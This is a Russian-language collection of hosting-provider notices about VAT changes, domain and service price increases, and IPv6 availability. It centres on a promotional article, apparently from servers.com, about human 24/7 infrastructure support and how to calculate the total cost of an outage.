С сегодняшнего дня доступны IPv6 адреса для всех тарифных планов хостинга и виртуальных серверов. Стоимость аренды 1$/месяц.

Уведомление о переходе на оплату НДС

Настоящим уведомляем Вас о том, что на основании ст. 145 НК РФ наша компания с 1 января 2026 года становится плательщиком налога на добавленную стоимость. В соответствии с п. 8 ст. 164 НК РФ нами выбрана пониженная ставка НДС в размере 5%.

В связи с этим уведомляем Вас, что с 01 января 2026 года стоимость наших услуг будет увеличена на сумму налога (НДС 5%). В стоимость услуг будет включен НДС в размере 5%.

При необходимости заключения дополнительного соглашения к договору для письменного оформления указанных изменений в применяемой ставке НДС просим направить запрос на почту finance@contell.ru или создать запрос в службу технической поддержки через тикет-систему в личном кабинете.

contell.ru

Среда, полдень, и ваши пользователи сообщают о задержках и ошибках в системе. Вы обращаетесь в службу поддержки своего поставщика инфраструктуры, но вас ставят в очередь тикетов, вы сталкиваетесь с циклом сортировки ботов и готовитесь к долгому ожиданию.

Будь то региональный сбой или сбои в работе во время запуска продукта, отсутствие своевременной и надежной поддержки — это то, с чем рано или поздно сталкивается большинство организаций.

Но когда каждая лишняя минута ожидания ответа эксперта означает, что ваша платформа работает плохо (или не работает вообще), на кону не только время, но и доход, и репутация. Фактически, средняя стоимость простоя IT-системы составляет около 5600 долларов в минуту.

Общеизвестно, что иногда техника дает сбои, но долгосрочный ущерб редко связан с одной ошибкой на диске или DNS; почти всегда причиной являются сбои в работе службы поддержки.

Разрыв в поддержке хостинга инфраструктуры
Стандартные модели поддержки инфраструктуры как услуги (IaaS) имеют тенденцию выходить из строя предсказуемым образом: циклы сортировки ботов замедляют реагирование на инциденты, непрозрачные эскалации оставляют клиентов в неведении, а разрозненность поставщиков перенаправляет клиентов между категориями очереди.

Зачастую эти же клиенты сталкиваются с закрытием магазинов по выходным или в нерабочее время, оставляя их в затруднительном положении именно тогда, когда им больше всего нужна помощь. Если же сузить этот фокус до гигантов рынка, то обнаружится ещё одна, более банальная проблема: неравномерное распределение приоритетов между клиентами.

Одно из самых распространённых заблуждений относительно поставщиков гипермасштабных облачных решений заключается в том, что они по умолчанию должны предоставлять комплексную поддержку. Однако поддержка гипермасштабируемых решений неравномерна, и только пользователи с наибольшим количеством платных услуг (или те, кто готов платить за дополнительные уровни поддержки) получают адекватную поддержку. Для остальных стандартным является «только устранение неполадок», и получение ответа после отправки тикета может занять несколько недель — независимо от того, насколько серьёзна проблема для вашего бизнеса.

В результате ваши инциденты длятся дольше, ваши запуски сопряжены с большим риском, а ваша команда берёт на себя ту самую работу, которую должен выполнять ваш хостинг-провайдер. Как сказал один из глобальных директоров по технологиям ведущей платформы iGaming в интервью для services.com:

«Вы редко уделяете должное внимание вещам, важным для вашего бизнеса, но не критичным для вашего провайдера [гипермасштабных] облачных услуг. Например, пропускная способность между двумя регионами не важна для них просто потому, что она приводит к задержке. Даже если эта задержка приводит к потере дохода, вы не сможете разобраться в произошедшем и найти решение (или хотя бы срочное решение) проблемы».

Короче говоря, службы поддержки хостинг-провайдера просто не являются продолжением вашей команды: вот в чем проблема.

Когда ленивая поддержка становится большой проблемой
Компании, которые ещё не столкнулись с последствиями инфраструктурных проблем без доступа к адекватной поддержке, легко воспринимают их как очередной источник затрат. Однако это одна из самых серьёзных ошибок, допускаемых компаниями при размещении инфраструктуры.

Когда невозможно рассчитывать на быстрое решение проблем со стороны службы поддержки инфраструктуры, возникает эффект домино. Например, если вы впервые выводите на рынок новую платформу, нерешённые проблемы могут задержать весь запуск. Если вам придётся разворачивать дополнительные серверы, чтобы компенсировать это, это также повлечёт за собой дополнительные расходы.

Аналогично, если у вас есть работающая платформа, которая выходит из строя, невозможность быстро решить проблему приводит к недовольству клиентов, задержкам в работе инженеров (поскольку у ваших пользователей накапливаются обращения в службу поддержки) и снижению удержания пользователей. А если проблема касается безопасности, следует учитывать юридические и связанные с соблюдением нормативных требований риски, включая возможные штрафы и взыскания. То, что начиналось как обращение в службу поддержки, быстро начинает сказываться на вашей прибыли.

Как рассчитать общую стоимость инцидента
Но какова реальная цена плохо реагирующего инцидента? Рассмотрим пример. Представьте, что вы — платформа для прямых трансляций. Во время последней прямой трансляции спортивного события произошел 45-минутный сбой. Ваш доход формируется за счет рекламы и платных подписок, а сбои в работе трансляций приводят к серьезным социальным последствиям.

Давайте подставим некоторые цифры, чтобы узнать, во сколько вам может обойтись этот период простоя:

Допустим, ваше мероприятие приносит средний почасовой доход в 200 000 долларов, а фактический простой составляет 0,75 часа. Это означает потерю дохода в размере 150 000 долларов. Если для устранения инцидента потребовалось 15 инженеров и три менеджера, которым выставили счёт по 120 и 160 долларов в час соответственно, это ещё 5700 долларов на обработку инцидента. Сбой также привёл к серьёзным социальным последствиям, поэтому ваши инженеры тратят дополнительно 60 часов на послеаварийное обслуживание, что обошлось им в 7200 долларов.

Вы должны 90 000 долларов США в виде возвратов и кредитов клиентам, включая 120 часов работы дополнительного персонала службы поддержки по ставке 40 долларов США в час, что в общей сложности составляет 94 800 долларов США на устранение проблем клиентов. Вы также должны своим партнерам-рекламодателям 30 000 долларов США в качестве компенсации за потерянные показы, потратили 4200 долларов США на соблюдение требований и отчетность (30 часов по ставке 140 долларов США в час) и оформили подписку на два месяца дополнительных вычислительных мощностей стоимостью 40 000 долларов США.

Наконец, вы прогнозируете, что понесете убытки в размере 144 000 долларов США из-за вероятного оттока клиентов (на основе среднегодовой оценки в размере 12 долларов США в месяц, предполагаемой дельты оттока клиентов, связанной с инцидентом, в размере 0,5 % в месяц и среднего оставшегося срока оплаты за шесть месяцев).

Общая стоимость инцидента составила 475 900 долларов США.

Хотя эти цифры приведены лишь в качестве примера, они демонстрируют, насколько быстро растут затраты, если инцидент остается нерешенным (даже в течение всего 45 минут), и какие дополнительные расходы возникают даже после того, как инцидент устранен.

Если вы ранее не проводили подобных учений, стоит подставить собственные цифры и оценить, во сколько может обойтись вашему бизнесу аналогичный сбой.

Чтобы рассчитать общую стоимость неразрешенного инцидента, рассчитайте сумму следующих показателей:
Потеря дохода из-за инцидентаLost revenue = revenue per hour x business hours downПотеря производительности из-за инцидентаLost productivity = number of affected staff x loaded rate per hour x hours disruptedСтоимость обработки инцидентаIncident handling = role involved in incident handling x rate per hour x hoursСтоимость устранения неполадок у клиентаCustomer remediation = value of refunds/ credits + extra support hours x support rateРасходы, связанные с оттоком клиентовImpacted paying customers x average revenue per user (ARPA) x churn rate x remaining contract monthsЛюбые дополнительные единовременные выплаты, понесенные непосредственно в результате инцидента


Как определить исключительную поддержку инфраструктуры
Делать наших клиентов счастливыми и поддерживать их счастье — вот главная цель нашего сайта на серверах. Мы придерживаемся четырёх принципов поддержки:

Человеческая коммуникация
Когда речь идёт о такой важной вещи, как инфраструктура, лежащая в основе вашего бизнеса, поддержка должна быть человеческой и постоянной. Ввиду сложности и взаимозависимости сред IaaS, для выявления проблем нельзя полагаться исключительно на автоматизированную диагностику. Важно иметь экспертов, готовых помочь в интерпретации системных взаимодействий и решении более сложных проблем.

Аналогично, для критически важных рабочих нагрузок автоматизированная поддержка не обеспечит быстрого восстановления после сбоя, но быстрое взаимодействие с человеком и чёткие дальнейшие действия обеспечат это. Поэтому вам следует рассчитывать на целый ряд точек взаимодействия со службой поддержки: команда поддержки, ориентированная на человека и отвечающая на заявки за считанные минуты, персональный менеджер по работе с клиентами, который будет с вами на протяжении всего срока действия контракта, а также доступ к поддержке архитекторов решений и руководителей высшего звена по мере необходимости.

Для Nitrado именно эта человеческая поддержка стала основой нашего долгосрочного и доверительного партнерства:
У нас сложились очень простые, человеческие отношения с командой server.com, и люди, с которыми мы познакомились на той самой первой встрече, по-прежнему остаются теми же людьми, с которыми мы общаемся и сегодняподелился Феликс Охслер, технический директор Nitrado.

Индивидуальный, совместный подход
В конечном счёте, лучшие службы поддержки провайдеров инфраструктурного хостинга действуют как продолжение вашей собственной команды. Лучшая поддержка не только реагирует, но и действует проактивно, и лучшие службы поддержки не просто борются с проблемами (хотя это, конечно, важно), но и помогают создать надёжную основу для старта.

Другими словами, ваш поставщик инфраструктуры должен внедрять инновации и решать проблемы вместе с вашей командой, начиная с момента первоначального подключения и проектирования архитектуры и вплоть до поддержки запуска новых продуктов и изменений в вашем бизнесе.

Когда ваш хостинг-провайдер знает ваш бизнес досконально, производительность можно оптимизировать, а серьёзные проблемы можно предотвратить ещё на ранней стадии. Именно это мы и сделали с компанией Ceeblue, предоставляющей услуги потокового вещания в режиме реального времени:
Мы сотрудничали в целях совместной разработки всего оборудования, которое мы в настоящее время развертываем, и многие из наших последних передовых достижений были реализованы на оборудовании server.comсказал Йонас Блётц, вице-президент по инжинирингу компании Ceeblue.

Требования к инфраструктуре также могут значительно различаться в разных отраслях, поэтому комплексный подход к разработке решения и постоянной поддержке редко бывает эффективным. Лучшие поставщики продемонстрируют глубокое понимание специфики вашей отрасли и помогут вам оптимизировать оборудование в соответствии с этими уникальными требованиями. Обратите внимание на команды по управлению аккаунтами, обладающие опытом в конкретной отрасли.



24/7/365 ответов
Инфраструктура работает не в обычном режиме, поэтому преимущества круглосуточной поддержки хостинга нельзя недооценивать. Когда время буквально означает деньги в условиях технических сбоев или простоев, крайне важно рассчитывать на то, что служба поддержки вашего провайдера всегда готова прийти на помощь.

Итак, независимо от того, есть ли у вас простой запрос или сложная проблема, вы можете (и должны) рассчитывать на доступ к поддержке в течение нескольких минут, даже если это происходит в нерабочее время или в выходные. Для одного из наших финтех-клиентов, Ark Technologies, такой прямой подход к поддержке «всегда на связи» стал настоящим спасением:
Даже в выходные служба поддержки server.com всегда доступна, и решение проблемы будет принято в течение нескольких минутсказал Ияд Яссер, соучредитель и технический директор Ark Technologies.

Непрерывность этих точек контакта со службой поддержки также нельзя недооценивать. Вам не захочется перескакивать из одного отдела в другой, чтобы получить необходимые ответы. Наличие доступа к одному и тому же менеджеру по работе со всеми вашими глобальными контрактами означает меньше пересечений и более быстрое устранение неполадок. Йонас продолжает:

«В отличие от предыдущих поставщиков, с которыми мы работали, в Servers.com наш менеджер по работе с клиентами обрабатывает все наши контракты по всему миру, что значительно упрощает нам задачу».



Нет «любимых» аккаунтов
Размер вашего аккаунта не должен влиять на уровень поддержки, которую вы получаете от вашего провайдера инфраструктурного хостинга. Независимо от того, сколько вы платите ежемесячно, вы должны получать одинаковое качество и обслуживание. Конечно, проверять провайдеров по этому вопросу может быть сложно, но есть некоторые признаки, на которые стоит обратить внимание.

Одним из признаков успеха является согласование чёткого и прозрачного соглашения об уровне обслуживания (SLA) перед подписанием договора. Также стоит поискать отзывы от компаний аналогичного размера, которые пользовались услугами поставщика.

Как говорит Айзек Дуглас, директор по управлению рисками компании servers.com
Независимо от того, используете ли вы один сервер или целый парк, инфраструктура мирового класса требует поддержки мирового класса, и именно так мы работаем в services.com. Здесь нет места фаворитизму — каждый клиент имеет приоритет и получает одинаковое обслуживание, ориентированное на человека


Исключительная поддержка способствует развитию бизнеса
Исключительная поддержка инфраструктуры должна быть стандартом, но часто происходит обратное. Безличные системы тикетов, неэффективные процессы эскалации, поддержка, ориентированная только на устранение неполадок, и неравный приоритет учётных записей — всё это обычное явление.

Это означает, что для компаний, которые рассматривают, где разместить свои приложения, выбор подходящего провайдера хостинга инфраструктуры зависит не только от характеристик оборудования или цены, но и от людей. Круглосуточная поддержка инфраструктуры, человеческий подход и равное внимание к каждой учетной записи — вот что действительно защищает ваш бизнес от скрытых затрат, связанных с простоями, и формирует прочную основу для устойчивости.

www.servers.com

Мы обращаемся к вам, поскольку вы управляете одним или несколькими доменами в следующих TLD, и для этих доменов будет произведено обновление цен в соответствии с повышением цен на регистрацию.

Когда?
1 января: .nl, .ms и .berlin8 января: Хостинг cPanel15 января: .fun, .host, .online, .press, .pw, .site, .space, .store, .tech и .uno19 января: .info, .mobi, .pro и .ioНажмите кнопку для получения подробной информации.
internetbs.centralnicgroup.com/updated-domain-prices-2025

Уважаемые клиенты

Мы рады, что вы с нами — спасибо, что выбираете наши услуги и позволяете нам быть частью вашего проекта. Мы искренне ценим ваше участие, обратную связь и доверие — именно это помогает нам развиваться и становиться лучше для вас.

С 1 января 2026 года будет произведена корректировка стоимости всех наших услуг.

Это вынужденная мера, связанная с повышением тарифов наших ключевых поставщиков — дата-центров и операторов связи. Их ежегодное увеличение стоимости затрагивает и нас, поэтому, чтобы поддерживать качество и стабильность сервисов, мы вынуждены пересмотреть цены.

Что изменится:
Повышение стоимости услуг составит от 10% до 20%, в зависимости от категории услуги.Москва — увеличение на 20%, так как индексация по данной площадке не проводилась несколько лет, несмотря на ежегодный рост цен у поставщиков.Зарубежные локации — повышение на 10%.
Мы понимаем, что любые изменения цен требуют внимания и адаптации, поэтому заранее хотим поддержать вас и заверить, что мы тщательно анализировали каждый шаг. Наша задача — чтобы сервисы оставались надёжными, современными и соответствовали вашим ожиданиям.

Спасибо, что остаетесь с нами. Мы всегда на связи и готовы помочь разобраться в обновлённых тарифах, предложить оптимальные решения или просто ответить на вопросы. Вы для нас — ценные партнёры, и мы искренне ценим возможность работать вместе.

С теплом и уважением,
Команда ООО «СервТех»

https://serv-tech.ru

Здравствуйте!
Спасибо, что выбираете Yandex Cloud.

Обратите внимание: с 1 января 2026 года базовая ставка НДС в России увеличится с 20% до 22% — в соответствии с новым налоговым законодательством.

Почему это важно
Стоимость услуг Yandex Cloud формируется из тарифов и налоговой составляющей. Тарифы останутся прежними, но налоговая составляющая изменится, а это повлияет на конечную стоимость услуг.

Мы ценим ваше сотрудничество и будем заранее информировать об обновлениях, чтобы вы могли всё учесть при планировании расходов. Подробности — в нашем блоге.

storage.yandexcloud.net/cloud-www-assets/blog-assets/ru/posts/2025/11/vat-changes-ru-2025/%D0%A2%D0%B0%D1%80%D0%B8%D1%84%D1%8B_Yandex_%D0%A1loud_RU.pdf